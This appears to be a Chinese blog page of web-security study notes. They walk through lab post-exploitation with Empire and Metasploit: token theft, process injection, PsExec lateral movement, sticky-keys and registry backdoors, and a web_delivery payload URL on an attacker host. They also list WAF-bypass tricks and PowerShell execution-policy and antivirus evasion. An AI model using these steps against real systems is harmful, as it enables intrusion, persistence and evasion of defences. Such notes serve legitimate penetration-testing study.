class="img-center"><a href="http://img.e-com-net.com/image/info8/ff507e19e6c24cd38bec3c81207743d4.jpg" target="_blank"><img alt="web安全攻防笔记_第52张图片" src="http://img.e-com-net.com/image/info8/ff507e19e6c24cd38bec3c81207743d4.jpg" width="650" height="200" style="border:1px solid black;"></a></p> <p></p> <p>从这里发现有域用户曾在此服务器上登录，此时可以窃取域用户身份，然后进行横向移动</p> <p>首先先来窃取身份，使用命令pth<ID>，这里的ID号就是creds下的CredID号，我们这里来窃取administrator的身份令牌，执行pth 7命令</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/406fbd0bb44b41bc9a627fc17d6b8698.jpg" target="_blank"><img alt="web安全攻防笔记_第53张图片" src="http://img.e-com-net.com/image/info8/406fbd0bb44b41bc9a627fc17d6b8698.jpg" width="650" height="316" style="border:1px solid black;"></a></p> <p></p> <p>使用steal_token PID命令就窃取了该身份令牌了，如下图所示。</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/e86a92f08f764a7ab6278301382e4291.jpg" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/e86a92f08f764a7ab6278301382e4291.jpg" width="650" height="97"></a></p> <p></p> <p>我们先尝试访问域内另一台主机WIN7-X86的“C$”，顺利访问，如下图所示。</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/37583758b3cd48b19e6c5de73715f767.jpg" target="_blank"><img alt="web安全攻防笔记_第54张图片" src="http://img.e-com-net.com/image/info8/37583758b3cd48b19e6c5de73715f767.jpg" width="650" height="296" style="border:1px solid black;"></a></p> <p></p> <p>输入revtoself命令可以将令牌权限恢复到原来的状态</p> <p><strong>2.</strong><strong>会话注入</strong></p> <p>我们也可以使用usemodule management/psinject模块来进程注入，获取权限，输入info查看参数设置，如下图所示。</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/2c052448b4f24150974f1ba39a106662.jpg" target="_blank"><img alt="web安全攻防笔记_第55张图片" src="http://img.e-com-net.com/image/info8/2c052448b4f24150974f1ba39a106662.jpg" width="650" height="476" style="border:1px solid black;"></a></p> <p></p> <p>设置下Listeners和ProcID这2个参数，这里的ProcID还是之前的CMD的1380，运行后反弹回一个域用户权限shell。</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/a02bad8df16d45b09c1370db0d2bd63c.jpg" target="_blank"><img alt="web安全攻防笔记_第56张图片" src="http://img.e-com-net.com/image/info8/a02bad8df16d45b09c1370db0d2bd63c.jpg" width="650" height="245" style="border:1px solid black;"></a></p> <p></p> <p><strong>3.Invoke-PsExec</strong></p> <p>PsExec是我在Metasploit下经常使用的模块，还有pstools工具包当中也有psexec，缺点是该工具基本杀毒软件都能检测到，并会留下日志，而且需要开启admin$ 445端口共享。优点是可以直接返回SYSTEM权限。这里我们要演示的是Empire下的Invoke-Psexec模块。</p> <p>使用该模块的前提是我们已经获得本地管理员权限，甚至域管理员账户，然后以此来进一步持续渗透整个内网。</p> <p>我们测试该模块前看下当前agents，只有一个IP为192.168.31.251，机器名为WIN7-64的服务器，如下图所示。</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/0df955206c6a4f79963f32d38fff4b5c.jpg" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/0df955206c6a4f79963f32d38fff4b5c.jpg" width="650" height="93"></a></p> <p></p> <p>现在使用模块usemodule lateral_movement/invoke_psexec渗透域内另一台机器WIN7-X86，输入info查看设置参数，如下图所示。</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/0f1e9f7edca74842961350db1b528d52.jpg" target="_blank"><img alt="web安全攻防笔记_第57张图片" src="http://img.e-com-net.com/image/info8/0f1e9f7edca74842961350db1b528d52.jpg" width="650" height="353" style="border:1px solid black;"></a></p> <p></p> <p>这里要设置下机器名和监听，输入下列命令，反弹成功</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/188119c3136847e09d8a3e02eb70fd5a.jpg" target="_blank"><img alt="web安全攻防笔记_第58张图片" src="http://img.e-com-net.com/image/info8/188119c3136847e09d8a3e02eb70fd5a.jpg" width="650" height="141" style="border:1px solid black;"></a></p> <p></p> <p>输入agents命令查看当前agents，多了一个IP为192.168.31.158，机器名为WIN7-X86的服务器</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/e83dee836cca4bad8e9def00f3f70dc5.jpg" target="_blank"><img alt="web安全攻防笔记_第59张图片" src="http://img.e-com-net.com/image/info8/e83dee836cca4bad8e9def00f3f70dc5.jpg" width="650" height="108" style="border:1px solid black;"></a></p> <p></p> <p>攻击者在获取服务器权限后，通常会用一些后门技术来维持服务器权限，服务器一旦被植入后门，攻击者如入无人之境。服务器重启后，我们的后门程序仍能触发继续运行。这里讲一些window服务端常见的后门技术。</p> <p><strong>1.</strong><strong>权限持久性劫持shift后门</strong></p> <p>shitf后门，其实就是使用了windows系统的粘滞键功能，当连按5次shift键的时候就会启动粘滞键程序。然后后门程序替换掉这个程序，然后通过按5次就来启动后门。</p> <p>输入命令usemodule lateral_movement/invoke_wmi_debuggerinfo模块，可以输入info查看参数，set设置相关参数</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/94e1c61074eb43498ffd530a6d98d014.jpg" target="_blank"><img alt="web安全攻防笔记_第60张图片" src="http://img.e-com-net.com/image/info8/94e1c61074eb43498ffd530a6d98d014.jpg" width="650" height="481" style="border:1px solid black;"></a></p> <p></p> <p>运行后，在目标主机远程登录窗口按5次shift即可触发后门，有一个黑框一闪而过，如下图所示</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/e880050046614f4abad3c56070fcbaaf.jpg" target="_blank"><img alt="web安全攻防笔记_第61张图片" src="http://img.e-com-net.com/image/info8/e880050046614f4abad3c56070fcbaaf.jpg" width="650" height="291" style="border:1px solid black;"></a></p> <p></p> <p>这时看我们的Empire已经有反弹代理上线</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/e95bfb3901f04b47b53f2f446a19f53d.jpg" target="_blank"><img alt="web安全攻防笔记_第62张图片" src="http://img.e-com-net.com/image/info8/e95bfb3901f04b47b53f2f446a19f53d.jpg" width="650" height="153" style="border:1px solid black;"></a></p> <p></p> <p><strong>2.</strong><strong>注册表注入后门</strong></p> <p>使用usemodule persistence/userland/registry模块，运行后会在目标主机启动项添加一个命令，可以输入info查看信息</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/8950709dc9b24f819debdd259a8a6247.png" target="_blank"><img alt="web安全攻防笔记_第63张图片" src="http://img.e-com-net.com/image/info8/8950709dc9b24f819debdd259a8a6247.png" width="919" height="762" style="border:1px solid black;"></a></p> <p></p> <p>按如下命令设置其中几个参数，如下图所示。</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/8853f4dbca504c9197a2c8a299d15cda.jpg" target="_blank"><img alt="web安全攻防笔记_第64张图片" src="http://img.e-com-net.com/image/info8/8853f4dbca504c9197a2c8a299d15cda.jpg" width="650" height="111" style="border:1px solid black;"></a></p> <p></p> <p>重启目标主机，用户登录系统后，会有反弹会话生成</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/cf88843f6a344e5b8a78132cc52fc663.jpg" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/cf88843f6a344e5b8a78132cc52fc663.jpg" width="650" height="56"></a></p> <p></p> <p>在实际渗透中，当拿到webshell上传的Metasploit客户端无法绕过目标主机的杀软时，可以使用PowerShell来绕过，也可以执行Empire的Payload来绕过，成功之后再用Empire的模块将其反弹回Metasploit。</p> <p>首先在Metasploit我们使用multi/script/web_delivery模块，输入如下命令</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/9362c32083834fa8ae77ab0a6eb40718.jpg" target="_blank"><img alt="web安全攻防笔记_第65张图片" src="http://img.e-com-net.com/image/info8/9362c32083834fa8ae77ab0a6eb40718.jpg" width="650" height="353" style="border:1px solid black;"></a></p> <p></p> <p>使用usemodule code_execution/invoke_metasploitpayload模块，输入info看下参数，如下图所示</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/25b2f07e0b71406c8d863ffe383039cc.png" target="_blank"><img alt="web安全攻防笔记_第66张图片" src="http://img.e-com-net.com/image/info8/25b2f07e0b71406c8d863ffe383039cc.png" width="893" height="588" style="border:1px solid black;"></a></p> <p></p> <p>这里我们只需修改1个参数URL，</p> <p>修改为前面Metasploit生成的Using URL: http://192.168.199.129:8088/qJaa5sHBuNst5y</p> <p>按下列命令设置完毕，然后执行</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/88f991e1d28645d5b5cc7fd7ed9f0ff9.jpg" target="_blank"><img alt="" src="http://img.e-com-net.com/image/info8/88f991e1d28645d5b5cc7fd7ed9f0ff9.jpg" width="650" height="64"></a></p> <p></p> <p>Metasploit收到Empire反弹回来的shell，如下图所示。</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/996edc290448487eb58cf749e5583093.jpg" target="_blank"><img alt="web安全攻防笔记_第67张图片" src="http://img.e-com-net.com/image/info8/996edc290448487eb58cf749e5583093.jpg" width="650" height="207" style="border:1px solid black;"></a></p> <p></p> <p>文件上传漏洞概述：在现代互联网的我web应用程序中，上传文件是一种常见的功能，上传文件的时候如果服务器脚本语言对上传的文件进行严格的过滤就有可能上传恶意文件，从而控制整个网站，甚至是服务器。</p> <p>存在原因：传文件时，如果服务器代码，对客户端上传的文件进行验证和过滤，就容易造成可以上传任意文件的情况，包括上传脚本文件（asp,aspx,php,jsp等格式的文件）</p> <p>危害:非法用户可以利用上传的恶意脚本文件控制整个网站，。甚至控制服务器，这个恶意文件又称webS核力量，也可将脚本称为一种网页后门，WebShell叫阿奔具有强大功能，比如查看服务器中的文件，执行系统命令。</p> <p>2，常见的上传检测规则：</p> <p>A，服务器MIME类型检测Content-type内容</p> <p>B，客户端JavaScript检测 检测文件扩展名</p> <p>C，服务器目录路经检测path参数</p> <p>D，服务器文件名拓展名检测estension内容</p> <p>E，服务器文件内容检测（是否合法或含有恶意代码）             </p> <p></p> <p>逻辑漏洞：</p> <p>就是指攻击者鲤鱼精业务的设计缺陷，获取敏感信息或破坏业务的完整性，</p> <p>越权访问：水平和垂直越权 。</p> <p>越权访问攻击测试链接：http://172.16.200.12/yuequan/test2/admin/viewpassword.</p> <p></p> <p>WAF：（web应用防火墙）是通过执行一系列对HTTP/HTTPS的安全策略来专门为web应用提供保护。</p> <p>WAF类型： 软件型（直接检测服务器上是否存在WEBshell）</p> <p>硬件型（支持多种部署，在旁听监听模式时只记录攻击不进行拦截）</p> <p>云waf（一般以反向代理的形式工作，通过配置NS记录干活CNAME记录，是对网站的请求优先经过WAF主机，经过WAF过滤后，将认为无害的请求报文在传输给实际网站服务器进行请求）</p> <p>网站系统内置WAF（在网站内内置的过滤，直接镶嵌在代码里，自由度比较高，有以下四种：①输入参数强制类型转换②输入参数合法性检测③关键函数执行，对经过代码流程的输入进行检测④对输入的数据进行替换过后再继续执行代码执行流程）网站系统内置的WAF与业务更加切合，在对安全与业务都比较了解的情况下，可更</p> <p>少的收到误报与漏报。</p> <p>WAF判断 方法：①SQLMap   输入sqlmap.py -u “http://xxx.com” --identify-waf --batch    便可找到waf类型</p> <p>②直接在相对应网站的url后加最基础的测试语句并放在一个不存在的参数名中。</p> <p>绕过waf的方法：1，大小写混合</p> <p>2url编码</p> <p>3，替换关键字</p> <p>4，使用注释</p> <p>5，多参数请求拆分</p> <p>6，HTTP参数污染</p> <p>7，生僻函数</p> <p>8，寻找网站原站IP</p> <p>9，注入参数到cookies中</p> <p>Meteasploit技术：</p> <p>   在使用Kali操作系统是应注意即使更新源，就像平时及时更新手机APP更新命令如下：</p> <p>A，apt-get update:只更新软件包的索引源，作用：同步源的软件包的索引信息，从而进行软件更新。</p> <p>B，Apt-get upgrade:升级系统上安装的所有软件包，如果失败则保持更新之前的状态。</p> <p>Apt-get dist-upgrade:升级整个Liunux系统（不仅升级所有已安装的软件包，而且会处理升级过程中可能出现的冲突，在某些情况下，他的部分升级需要人工参与）。</p> <p>渗透攻击大致步骤：</p> <p>*扫描目标及系统，寻找可用漏洞。</p> <p>*选择并配置一个漏洞利用模块。</p> <p>*选择并配置一个攻击利用模块。</p> <p>*选择一个编码技术，用来绕过杀毒软件的查杀。</p> <p>*渗透攻击。</p> <p></p> <p>Powershell</p> <p>是一种基于任务的命令行解释器和脚本环境，可以说是一种强大的shell,如同linux的bash,专为系统管理员而设计，以.NET框架为平台，Windows PowerShell帮助IT专业人员和超级用户控制和自动化管理Windows操作系统和运行在操作系统上的应用。现被更广泛用于渗透测试等方面，在不需要写入磁盘的情况下执行命令，也可以逃避Anti-Virus检测。另外，可以把PowerShell看作命令行提示符cmd.exe的扩充。</p> <p> 对于渗透，使用PowerShell场景：</p> <p>第一种我们需要获得免杀或者更好的隐蔽攻击对方的win机器，可以通过钓鱼等方式直接执行命令</p> <p>第二种我们已经到了对方网络，或是一台DMZ的win机器，那么我们利用PowerShell对内网继续深入</p> <p>基于.NET框架</p> <p>操作系统信任</p> <p>提供win系列操作系统的几乎一切访问权限</p> <p>win7之后默认安装</p> <p>脚本可以运行在内存中，不需要写入磁盘</p> <p>cmd.exe通常会被安全软件阻止，一般PowerShell不会</p> <p></p> <p>常用攻击工具：</p> <p> </p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/7f2e2d4de53341888fc13429aad11984.jpg" target="_blank"><img alt="web安全攻防笔记_第68张图片" src="http://img.e-com-net.com/image/info8/7f2e2d4de53341888fc13429aad11984.jpg" width="650" height="320" style="border:1px solid black;"></a></p> <p></p> <p></p> <p>可以输入Get-Host或者$PSVersionTable.PSVERSION命令查看当前系统的PowerShell版本。</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/c8817265a1294205a19db5b11d3ebd2f.jpg" target="_blank"><img alt="web安全攻防笔记_第69张图片" src="http://img.e-com-net.com/image/info8/c8817265a1294205a19db5b11d3ebd2f.jpg" width="650" height="335" style="border:1px solid black;"></a></p> <p></p> <p>一个PowerShell脚本其实就是一个简单的 文本文件，这个文件包含了一系列的 PowerShell命令，每个命令显示为独立的一行，PowerShell文件的后缀为 .PS1。</p> <p>执行策略：</p> <p>为防止恶意脚本的执行，PowerShell有一个执行策略，默认情况下，这个执行策略被设置为受限。</p> <p>我们可以使用： Get-ExecutionPolicy  命令查看PowerShell当前的执行策略。它有4个策略。</p> <p>Restricted：脚本不能运行(默认设置)</p> <p>RemoteSigned：本地创建的脚本可以运行，但是从网上下载的脚本不能运行(拥有数字证书签名的除外)</p> <p>AllSigned：仅当脚本由受信任的发布者签名时才能运行；</p> <p>Unrestricted：允许所有的脚本执行</p> <p>另外修改PowerShell执行策略：Set-ExecutionPolicy 策略名 #该命令需要管理员权限运行</p> <p>运行脚本：</p> <p>运行一个脚本，必须键入完整的路径和文件名，例如，你要运行一个名为a.ps1的脚本，可以键入c:\script\a.ps1</p> <p>但如果PowerShell脚本文件在你的系统目录中，那么在命令提示符后直接键入脚本文件名即可运行，如.\a.ps1的前面就加上“.\”，这和在Linux下执行Shell脚本的方法一样。</p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/139a182b60744b03bdc1328de2b98a46.jpg" target="_blank"><img alt="web安全攻防笔记_第70张图片" src="http://img.e-com-net.com/image/info8/139a182b60744b03bdc1328de2b98a46.jpg" width="650" height="244" style="border:1px solid black;"></a></p> <p></p> <p>管道：</p> <p>管道的作用就是将一个命令的输出作为另一个命令的输入，两个命令之间用管道符号(|)连接</p> <p>例如：</p> <p>假设停止所有目前运行中的，以“note"字符开头命名的程序</p> <p>Get-Process note*|stop-process</p> <p>基本知识：</p> <p>在PowerShell下，类似“cmd命令”叫做“cmdlet” ，其命令的命名规范很一致，都采用了 动词-名词的形式，如Net-Item，动词一般为Add、New、Get、Remove、Set等。PowerShell还兼容cmd和Linux命令，如查看目录可以使用 dir 或者 ls ，并且PowerShell命令不区分大小写。</p> <p>后面会以文件操作为例讲解PowerShell命令的基本用法</p> <p> </p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/5905c4473a17450b8644f9344ca7b303.jpg" target="_blank"><img alt="web安全攻防笔记_第71张图片" src="http://img.e-com-net.com/image/info8/5905c4473a17450b8644f9344ca7b303.jpg" width="650" height="291" style="border:1px solid black;"></a></p> <p class="img-center"><a href="http://img.e-com-net.com/image/info8/9ccbfe4066bb4cebbb52d99c38ffa735.png" target="_blank"><img alt="web安全攻防笔记_第72张图片" src="http://img.e-com-net.com/image/info8/9ccbfe4066bb4cebbb52d99c38ffa735.png" width="754" height="164" style="border:1px solid black;"></a></p> <p class="img-center"></p> <p></p> <p>如果运行PowerShell脚本程序，必须用管理员权限将Restricted策略改成Unrestricted</p> <p>在渗透测试时，就需要采用一些方法绕过策略来执行PowerShell脚本，列举如下三种方式</p> <p>1.绕过本地权限执行</p> <p>2.本地隐藏绕过权限执行脚本</p> <p>3.用IEX下载远程PS1脚本绕过权限执行</p> <p></p> </div> </div> </div> </div> </div> <!--PC和WAP自适应版--> <div id="SOHUCS" sid="1535375729573785600"></div> <script type="text/javascript" src="/views/front/js/chanyan.js"></script> <!-- 文章页-底部 动态广告位 --> <div class="youdao-fixed-ad" id="detail_ad_bottom"></div> </div> <div class="col-md-3"> <div class="row" id="ad"> <!-- 文章页-右侧1 动态广告位 --> <div id="right-1" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_1"> </div> </div> <!-- 文章页-右侧2 动态广告位 --> <div id="right-2" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_2"></div> </div> <!-- 文章页-右侧3 动态广告位 --> <div id="right-3" class="col-lg-12 col-md-12 col-sm-4 col-xs-4 ad"> <div class="youdao-fixed-ad" id="detail_ad_3"></div> </div> </div> </div> </div> </div> </div> <div class="container"> <h4 class="pt20 mb15 mt0 border-top">你可能感兴趣的:(其他)</h4> <div id="paradigm-article-related"> <div class="recommend-post mb30"> <ul class="widget-links"> <li><a href="/article/1835511036317364224.htm" title="Cell Insight | 单细胞测序技术又一新发现，可用于HIV-1和Mtb共感染个体诊断" target="_blank">Cell Insight | 单细胞测序技术又一新发现，可用于HIV-1和Mtb共感染个体诊断</a> <span class="text-muted">尐尐呅</span> <div>结核病是艾滋病合并其他疾病中导致患者死亡的主要原因。其中结核病由结核分枝杆菌（Mycobacteriumtuberculosis,Mtb）感染引起，获得性免疫缺陷综合症（艾滋病）由人免疫缺陷病毒（Humanimmunodeficiencyvirustype1,HIV-1）感染引起。国家感染性疾病临床医学研究中心/深圳市第三人民医院张国良团队携手深圳华大生命科学研究院吴靓团队，共同研究得出单细胞测序</div> </li> <li><a href="/article/1835508131032035328.htm" title="ArcGIS栅格计算器常见公式（赋值、0和空值的转换、补充栅格空值）" target="_blank">ArcGIS栅格计算器常见公式（赋值、0和空值的转换、补充栅格空值）</a> <span class="text-muted">研学随笔</span> <a class="tag" taget="_blank" href="/search/arcgis/1.htm">arcgis</a><a class="tag" taget="_blank" href="/search/%E7%BB%8F%E9%AA%8C%E5%88%86%E4%BA%AB/1.htm">经验分享</a> <div>我们在使用ArcGIS时通常经常用到栅格计算器，今天主要给大家介绍我日常中经常用到的几个公式，供大家参考学习。将特定值（-9999）赋值为0，例如-9999.Con("raster"==-9999,0,"raster")2.给空值赋予特定的值（如0）Con(IsNull("raster"),0,"raster")3.将特定的栅格值(如1)赋值为空值，其他保留原值SetNull("raster"==</div> </li> <li><a href="/article/1835506084224266240.htm" title="网易严选官方旗舰店，优质商品，卓越服务" target="_blank">网易严选官方旗舰店，优质商品，卓越服务</a> <span class="text-muted">高省_飞智666600</span> <div>网易严选官方旗舰店是网易旗下的一家电商平台，以提供优质商品和卓越服务而闻名。作为一名SEO优化师，我将为您详细介绍网易严选官方旗舰店，并重点强调其特点和优势。大家好！我是高省APP最大团队&联合创始人飞智导师。相较于其他返利app，高省APP的佣金更高，模式更好，最重要的是，终端用户不会流失！高省APP佣金更高，模式更好，终端用户不流失。【高省】是一个自用省钱佣金高，分享推广赚钱多的平台，百度有几</div> </li> <li><a href="/article/1835497664381284352.htm" title="探索OpenAI和LangChain的适配器集成：轻松切换模型提供商" target="_blank">探索OpenAI和LangChain的适配器集成：轻松切换模型提供商</a> <span class="text-muted">nseejrukjhad</span> <a class="tag" taget="_blank" href="/search/langchain/1.htm">langchain</a><a class="tag" taget="_blank" href="/search/easyui/1.htm">easyui</a><a class="tag" taget="_blank" href="/search/%E5%89%8D%E7%AB%AF/1.htm">前端</a><a class="tag" taget="_blank" href="/search/python/1.htm">python</a> <div>#探索OpenAI和LangChain的适配器集成：轻松切换模型提供商##引言在人工智能和自然语言处理的世界中，OpenAI的模型提供了强大的能力。然而，随着技术的发展，许多人开始探索其他模型以满足特定需求。LangChain作为一个强大的工具，集成了多种模型提供商，通过提供适配器，简化了不同模型之间的转换。本篇文章将介绍如何使用LangChain的适配器与OpenAI集成，以便轻松切换模型提供商</div> </li> <li><a href="/article/1835493650692403200.htm" title="其二" target="_blank">其二</a> <span class="text-muted">十八尾喵</span> <div>你知道吗？图片发自App我今天知道了你有喜欢的人，不是我。心空空的，整个人都不是我的了。可，怎么办？还是要好好的活着，毕竟你喜欢的人，我不能杀，可是我可以杀其他喜欢你的人呀！也罢，此生无缘，来世再见。鱼干</div> </li> <li><a href="/article/1835482277870661632.htm" title="简介Shell、zsh、bash" target="_blank">简介Shell、zsh、bash</a> <span class="text-muted">zhaosuningsn</span> <a class="tag" taget="_blank" href="/search/Shell/1.htm">Shell</a><a class="tag" taget="_blank" href="/search/zsh/1.htm">zsh</a><a class="tag" taget="_blank" href="/search/bash/1.htm">bash</a><a class="tag" taget="_blank" href="/search/shell/1.htm">shell</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/bash/1.htm">bash</a> <div>Shell是Linux和Unix的外壳，类似衣服，负责外界与Linux和Unix内核的交互联系。例如接收终端用户及各种应用程序的命令，把接收的命令翻译成内核能理解的语言，传递给内核，并把内核处理接收的命令的结果返回给外界，即Shell是外界和内核沟通的桥梁或大门。Linux和Unix提供了多种Shell，其中有种bash，当然还有其他好多种。Mac电脑中不但有bash，还有一个zsh，预装的，据说</div> </li> <li><a href="/article/1835477362700021760.htm" title="Python中深拷贝与浅拷贝的区别" target="_blank">Python中深拷贝与浅拷贝的区别</a> <span class="text-muted">yuxiaoyu.</span> <div>转自：http://blog.csdn.net/u014745194/article/details/70271868定义：在Python中对象的赋值其实就是对象的引用。当创建一个对象，把它赋值给另一个变量的时候，python并没有拷贝这个对象，只是拷贝了这个对象的引用而已。浅拷贝：拷贝了最外围的对象本身，内部的元素都只是拷贝了一个引用而已。也就是，把对象复制一遍，但是该对象中引用的其他对象我不复</div> </li> <li><a href="/article/1835477113227014144.htm" title="厉国刚：新闻学与传播学到底有何区别" target="_blank">厉国刚：新闻学与传播学到底有何区别</a> <span class="text-muted">微观大道</span> <div>厉国刚：新闻学与传播学到底有何区别头几天，有人在知乎上问我：新闻学与传播学到底有何区别。他是一位想要跨专业考研的学生，对新闻传播学学科可谓了解甚少，甚至一头雾水，想要让我帮他解释解释。在研究生学硕层面，新闻传播学是一级学科，分成新闻学、传播学这两个二级学科。有些高校，还自设了广告学、出版发行学等其他二级学科，但从官方角度，新闻传播学一级学科下，正统的就是那两个二级学科。招生时，一般会按一级学科招，</div> </li> <li><a href="/article/1835473830873755648.htm" title="简单了解 JVM" target="_blank">简单了解 JVM</a> <span class="text-muted">记得开心一点啊</span> <a class="tag" taget="_blank" href="/search/jvm/1.htm">jvm</a> <div>目录♫什么是JVM♫JVM的运行流程♫JVM运行时数据区♪虚拟机栈♪本地方法栈♪堆♪程序计数器♪方法区/元数据区♫类加载的过程♫双亲委派模型♫垃圾回收机制♫什么是JVMJVM是JavaVirtualMachine的简称，意为Java虚拟机。虚拟机是指通过软件模拟的具有完整硬件功能的、运行在一个完全隔离的环境中的完整计算机系统（如：JVM、VMwave、VirtualBox）。JVM和其他两个虚拟机</div> </li> <li><a href="/article/1835471689929027584.htm" title="关于Mysql 中 Row size too large (＞ 8126) 错误的解决和理解" target="_blank">关于Mysql 中 Row size too large (＞ 8126) 错误的解决和理解</a> <span class="text-muted">秋刀prince</span> <a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/mysql/1.htm">mysql</a><a class="tag" taget="_blank" href="/search/%E6%95%B0%E6%8D%AE%E5%BA%93/1.htm">数据库</a> <div>提示：啰嗦一嘴，数据库的任何操作和验证前，一定要记得先备份！！！不会有错；文章目录问题发现一、问题导致的可能原因1、页大小2、行格式2.1compact格式2.2Redundant格式2.3Dynamic格式2.4Compressed格式3、BLOB和TEXT列二、解决办法1、修改页大小（不推荐）2、修改行格式3、修改数据类型为BLOB和TEXT列4、其他优化方式（可以参考使用）4.1合理设置数据</div> </li> <li><a href="/article/1835469294436184064.htm" title="【从浅识到熟知Linux】Linux发展史" target="_blank">【从浅识到熟知Linux】Linux发展史</a> <span class="text-muted">Jammingpro</span> <a class="tag" taget="_blank" href="/search/%E4%BB%8E%E6%B5%85%E5%AD%A6%E5%88%B0%E7%86%9F%E7%9F%A5Linux/1.htm">从浅学到熟知Linux</a><a class="tag" taget="_blank" href="/search/linux/1.htm">linux</a><a class="tag" taget="_blank" href="/search/%E8%BF%90%E7%BB%B4/1.htm">运维</a><a class="tag" taget="_blank" href="/search/%E6%9C%8D%E5%8A%A1%E5%99%A8/1.htm">服务器</a> <div>归属专栏：从浅学到熟知Linux个人主页：Jammingpro每日努力一点点，技术变化看得见文章前言：本篇文章记录Linux发展的历史，因在介绍Linux过程中涉及的其他操作系统及人物，本文对相关内容也有所介绍。文章目录Unix发展史Linux发展史开源Linux官网企业应用情况发行版本在学习Linux前，我们可能都会问Linux从哪里来？它是如何发展的。但在介绍Linux之前，需要先介绍一下Un</div> </li> <li><a href="/article/1835463606947377152.htm" title="如何培养兴趣" target="_blank">如何培养兴趣</a> <span class="text-muted">绽蕊向阳</span> <div>今天读李笑来的书《与时间做朋友》，读到有关兴趣部分，深有感触。书中提到，好多人说对某事没有兴趣，实际上是没有能力把这件事做好，做这件事时的感受很不好，有挫败感，每个人对自己不擅长做不好的事情，都本能的容易逃避，所以就以为自己对这件事不感兴趣，他们真正感兴趣的是其他事情。可事实上，出现这种感觉应该仅仅是因为还没有开始做那件事情，也还没有在那件事情上遭受挫折而已。其实，很多人真的放弃原来做的事情，转去</div> </li> <li><a href="/article/1835463094311153664.htm" title="戴容容 中原焦点团队.网络初级第33期,坚持分享第19天 2022年3月9日" target="_blank">戴容容 中原焦点团队.网络初级第33期,坚持分享第19天 2022年3月9日</a> <span class="text-muted">TessDai</span> <div>《每个人眼中的世界都是不同的》“一千个人眼里有一千个哈姆雷特”世界是多元的,每个人都有自己的道理,人人按照自己的理解去看待这个世界的人和物.我们如此,其他人也是如此.因此,任何事情,我们要放下自己以为的真理,去理解他人认为的真理,只有同频方能共振.孩子在慢慢长大的过程中慢慢学会独立,甚至对抗.尤其当孩子处于青春期的时候,他们开始有很多自己独立的想法,和一些特立独行的做法,家长常常会觉得不可思议,觉</div> </li> <li><a href="/article/1835461350327939072.htm" title="系统架构设计师 需求分析篇二" target="_blank">系统架构设计师 需求分析篇二</a> <span class="text-muted">AmHardy</span> <a class="tag" taget="_blank" href="/search/%E8%BD%AF%E4%BB%B6%E6%9E%B6%E6%9E%84%E8%AE%BE%E8%AE%A1%E5%B8%88/1.htm">软件架构设计师</a><a class="tag" taget="_blank" href="/search/%E7%B3%BB%E7%BB%9F%E6%9E%B6%E6%9E%84/1.htm">系统架构</a><a class="tag" taget="_blank" href="/search/%E9%9C%80%E6%B1%82%E5%88%86%E6%9E%90/1.htm">需求分析</a><a class="tag" taget="_blank" href="/search/%E9%9D%A2%E5%90%91%E5%AF%B9%E8%B1%A1%E5%88%86%E6%9E%90/1.htm">面向对象分析</a><a class="tag" taget="_blank" href="/search/%E5%88%86%E6%9E%90%E6%A8%A1%E5%9E%8B/1.htm">分析模型</a><a class="tag" taget="_blank" href="/search/UML%E5%92%8CSysML/1.htm">UML和SysML</a> <div>面向对象分析方法1.用例模型构建用例模型一般需要经历4个阶段：识别参与者：识别与系统交互的所有事物。合并需求获得用例：将需求分配给予其相关的参与者。细化用例描述：详细描述每个用例的功能。调整用例模型：优化用例之间的关系和结构，前三个阶段是必需的。2.用例图的三元素参与者：使用系统的用户或其他外部系统和设备。用例：系统所提供的服务。通信关联：参与者和用例之间的关系，或用例与用例之间的关系。3.识别参</div> </li> <li><a href="/article/1835457988060606464.htm" title="每时每刻都是开始2019-03-09" target="_blank">每时每刻都是开始2019-03-09</a> <span class="text-muted">Action熊猫</span> <div>过去有多少想了无数遍要做的，但实际并没有做到的。以没时间，或其他种种自己认为可以接受的理由，看着一天走啦，一月去啦，又是一年。最后笑一笑，新年不是来了吗！重新开始...如果在过去的365天里，每次醒来，都没能开始，那新年来了，又如何呢？何不把人生的每时每刻都作为起点，不等待，不期盼，不自欺，让每时每刻都在开始中...。</div> </li> <li><a href="/article/1835452288395735040.htm" title="2022-02-15" target="_blank">2022-02-15</a> <span class="text-muted">百味人生摆渡人</span> <div>习惯她和他在谈恋时，就吵架，有时吵的还很厉害，不像其他恋人，恋爱期间有说不完的情话，享受不尽的温情，珍惜在一块的每一分每一秒。分手也分了无数次，不知怎的，就是没有分开。不见面时，特想见面，见了面时，说不了几句，又就开始吵，吵的次数多了，连他们自己也说不清值不值得吵，为什么吵。她妈妈说，这孩子从小就性格倔强。他爸爸说，这孩子从小就性格固执。想想其实也没什么大事。为吃什么吵为穿什么吵为说什么吵……日子</div> </li> <li><a href="/article/1835450511071997952.htm" title="android 